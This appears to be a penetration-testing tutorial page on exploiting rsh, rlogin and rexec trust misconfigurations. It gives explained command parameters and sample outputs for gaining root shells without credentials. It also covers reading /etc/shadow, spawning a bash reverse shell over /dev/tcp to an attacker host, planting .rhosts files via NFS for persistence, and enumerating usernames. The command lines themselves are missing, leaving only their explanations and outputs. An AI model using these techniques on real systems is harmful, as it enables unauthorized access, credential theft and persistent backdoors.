R-Services Exploitation
R-services exploitation uses the trust configuration confirmed in trust misconfiguration assessment to obtain a shell without credentials. When + + or a broad host entry is in hosts.equiv or .rhosts, rsh and rlogin accept connections from your Kali machine without any authentication. The attack is trivial — the hard part is the prerequisite of reading the trust file, which usually comes from NFS, LFI, or another read path.
rlogin — Get Interactive Shell
When trust is confirmed, rlogin gives a full interactive shell. Try root first:
Last login: Mon Mar 28 12:00:00 2026 from 10.10.14.5 root@target:~# id uid=0(root) gid=0(root) groups=0(root)
Explain command
| -l root | Specifies the remote username to log in as (root). |
| $TARGET_IP | Placeholder for the target host's IP address. |
Explain command
| -l $USER | Specifies the remote username to log in as on the target host. |
| $TARGET_IP | Placeholder for the target host's IP address to connect to. |
If root does not work but a regular user does, check whether the user has sudo rights or other privilege escalation paths after landing the shell.
rsh — Non-Interactive Command Execution
rsh executes a single command and returns the output. Useful for quick enumeration without a full interactive shell:
uid=0(root) gid=0(root) groups=0(root)
Explain command
| -l root | Specifies the remote username to log in as (root). |
| $TARGET_IP | Placeholder for the target host's IP address. |
| id | Remote command to execute, returns current user identity info. |
root:$6$abc123$hashhere:18000:0:99999:7:::
Explain command
| -l root | Specifies the remote username to log in as (root). |
| $TARGET_IP | Placeholder for the target host's IP address. |
| 'cat /etc/shadow' | Remote command executed on the target to read the shadow password file. |
Explain command
| -l root | Specifies the remote username to log in as (root). |
| $TARGET_IP | Placeholder for the target host's IP address. |
| 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' | Remote command: spawns interactive bash reverse shell to LHOST:LPORT. |
| $LHOST | Placeholder for the attacker's listening IP address. |
| $LPORT | Placeholder for the attacker's listening port number. |
rexec — Command Execution with Credentials
rexec (port 512) accepts explicit credentials rather than using trust files. Use it when credentials are available but rsh/rlogin trust is not configured:
uid=1000(user) gid=1000(user) groups=1000(user)
Explain command
| $TARGET_IP | Target host IP address to connect to via rexec. |
| -l $USER | Specifies the remote username for authentication. |
| -p $PASSWORD | Specifies the password for remote authentication. |
| id | Remote command to execute on the target host. |
rexec transmits credentials in plaintext — the password is visible on the network. This makes it both a credential exposure risk and an easy target for interception.
Plant .rhosts for Persistence
When you have write access to a home directory via NFS or another vector, plant a .rhosts file to enable future passwordless access:
Explain command
| -t nfs | Specifies the filesystem type to mount as NFS. |
| $TARGET_IP:/root | Remote NFS export path on the target host to mount. |
| /tmp/nfs_root | Local mount point directory for the remote NFS share. |
| -o nolock | Disables NFS file locking, useful when lockd is unavailable. |
| 600 | Sets file permissions to owner read/write only on .rhosts. |
root@target:~#
Explain command
| -l root | Specifies the remote username to login as (root). |
| $TARGET_IP | Placeholder for the target host's IP address. |
Important
Document any .rhosts files planted during assessment. Remove them immediately after obtaining the shell and confirming access. Persistent backdoor files must be cleaned up before engagement close.
Username Enumeration via Response Differences
When trust is not fully open, different accounts produce different error responses. Use this to build a valid username list:
root: uid=0(root) gid=0(root) admin: Permission denied. alice: uid=1001(alice) gid=1001(alice) bob: Login incorrect. www-data: Permission denied.
References
-
rsh command syntax and trust-based authentication behavior
-
hosts.equiv(5) manualman7.org/linux/man-pages/man5/hosts.equiv.5.html (opens in new tab)
Trust file format reference for system-wide and per-user configuration
Was this helpful?
Your feedback helps improve this page.